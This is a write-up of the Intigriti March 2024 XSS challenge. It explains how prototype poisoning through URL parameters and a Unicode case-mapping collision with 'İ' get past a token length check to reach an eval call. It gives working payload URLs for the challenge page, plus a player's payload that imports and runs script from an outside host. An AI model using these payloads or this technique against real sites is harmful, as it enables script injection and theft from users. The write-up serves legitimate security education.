0324: Contact Form

Writeup for the Intigriti March 2024 challenge 💥

NameAuthorsCategory

XSS, Prototype Poisoning, Unicode Case Mapping Collision

Video Walkthrough

Challenge Description

Find a way to execute an alert(1337) utilising XSS on the challenge page and win Intigriti swag.

Useful Resources

Solution

XSS

Reviewing index.html, we have a basic contact info form. If we check the source, there's some JS. Starting with a runCmdToken function.

function runCmdToken(cmd) {
    if (!user["token"] || user["token"].length != 32) {
        return;
    }
    var str = `${user["token"]}${cmd}(hash)`.toLowerCase();
    var hash = str.slice(0, 32);
    var cmd = str.slice(32);
    eval(cmd);
}

The eval function will execute the cmd, but there are a few steps/conditions. The user token must be 32 characters long, and then a string will be compiled. The hash and cmd are sliced from the string, and the resulting command will be evaluated.

Before reviewing the rest of the code, let's see what this looks like in a debugger. I set a breakpoint at line 49, entered the token cat, and clicked "input" and then "info."

str: 5eca9bd3eb07c006cd43ae48dfde7fd3alert(hash) hash: d077f244def8a70e5ea758bd8352fcd8 cmd: alert(hash)

An alert pops with the hash! Wow, look at that.. We're already halfway there and haven't done anything yet 😆 All we need to do is replace that hash with 1337. How might we go about it?

We can't modify the token value directly because the following function is hashing our input.

if (tokenParam) {
    handleInputToken(tokenParam);
}

function handleInputToken(inp) {
    var hash = CryptoJS.MD5(inp).toString();
    user["token"] = `${hash}`;
}

Prototype Poisoning

We've tested the "set token" form, but what's the "contact info" form doing?

function handleInputName(name, contact, value) {
    user[name] = { [contact]: value };
}

const urlParams = new URLSearchParams(window.location.search);

const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");

if (nameParam && contactParam && valueParam) {
    handleInputName(nameParam, contactParam, valueParam);
}

The nameParam, contactParam, and valueParam are passed to the handleInputName function. Let's say we provide cat, email, and crypto@cat, the result will look like this:

user['cat'] = {'email': 'crypto@cat'}

There's a prototype poisoning vulnerability here since user-controllable properties are being merged into an existing object, without first sanitising the keys. The vulnerability is similar to prototype pollution, but there is a crucial distinction.

Prototype poisoning is distinguished from pollution by the limitation that the parent object prototypes are immutable. The attacker can only affect the input object and children that inherit its prototype. Therefore the availability, attack methodology and impact are different. Prototype inheritance is an unavoidable JavaScript functionality.

If we now provide __proto__, token and 1337 as our "set contact info" values, the resulting user object will be poisoned.

user['__proto__'] = {'token': '1337'}

Checking the console, user.token is now set to 1337 (Note that token is undefined since this is poisoning, not pollution)! The alert doesn't pop, though. Rechecking the source, we see the condition for runCmdToken.

if (runTokenInfo) {
    runCmdToken("alert");
}

So let's try https://challenge-0324.intigriti.io/challenge/index.html?setName=proto&setContact=token&setValue=1337&runTokenInfo=1

It still doesn't pop, but remember this other condition?

if (!user["token"] || user["token"].length != 32) {
    return;
}

Let's try a 32-character token: https://challenge-0324.intigriti.io/challenge/index.html?setName=proto&setContact=token&setValue=13371337133713371337133713371337&runTokenInfo=1

The alert pops with 13371337133713371337133713371337. Many players opted to use null chars, spaces, tabs, etc to make it look like the correct payload, but this was rejected as an invalid solution - we need ^1337$ 😁

Client-side Overflow (Unicode Collision)

There is a problem with the use of toLowerCase() in the following line.

var str = `${user["token"]}${cmd}(hash)`.toLowerCase();

The second example from this article describes the issue.

Some Unicode characters are vulnerable to Case Mapping Collisions, when two different characters are uppercased or lowercased into the same character

They provide a simple PoC that you can test for yourself in the browser console.

"ß".toUpperCase() == "SS";
true;

The PoC is a good starting point, but notice it is for toUpperCase(); our challenge uses toLowerCase().

"ß".toLowerCase();
("ß");

So, we need to find some other Unicode character for our case mapping collision attack, e.g.

"İ".toLowerCase();
("i̇");

Notice that if we convert İ to hex, it is 2 bytes.

c4 b0

Whereas, if we convert i to hex, it is 1 byte.

69

Therefore, if we supply (16 * İ) + 16 char payload, it will pass the initial length checks since it's 32 characters.

However, once it's converted to lowercase, it will become a 48-byte string: (32 * i) + 16 char payload.

The next lines will separate the values using a slice operation. The iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii will land in the hash variable, and our 16-byte XSS payload will end up in the cmd variable.

However, our payload is only 11 characters.

alert(1337);

Since 16 + 11 = 27, it's not the 32 character token we need 🤔

No worries! We can add some padding by inserting a comment at the end 😏

alert(1337); //cat

Putting everything together, we have the following payload https://challenge-0324.intigriti.io/challenge/index.html?setName=proto&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337)//cat&runTokenInfo=1 which triggers our intended alert(1337) 😎

Unintended / Interesting Solutions

Fuzzing Unicode Characters

Some players used a script to find valid Unicode chars, e.g., here's one from ZePacifist

for (let i = 0; i < 1000000; ++i) {
    const c = String.fromCodePoint(i);
    const c_upper = c.toLowerCase();
    if (c.length != c_upper.length) {
        console.log(`${i} - "${c}".toLowerCase() => "${c_upper}"`);
    }
}

Note that there is only a single result.

304 - "İ".toLowerCase() => "i̇"

Arbitrary JS Execution

The monthly challenge usually requires players to execute arbitrary JS, proved with alert(document.domain). The goal was set at alert(1337) in this case due to the length restrictions on the payload. However, several players did find their way around this!

Here's an example from mysterican

İİİİİİİİİİİİİİİİimport(/\\NJ.₨/);

The payload imports a script from nj.rs, which triggers the alert.

javascript: alert(document.domain), 1;

Community Writeups

Last updated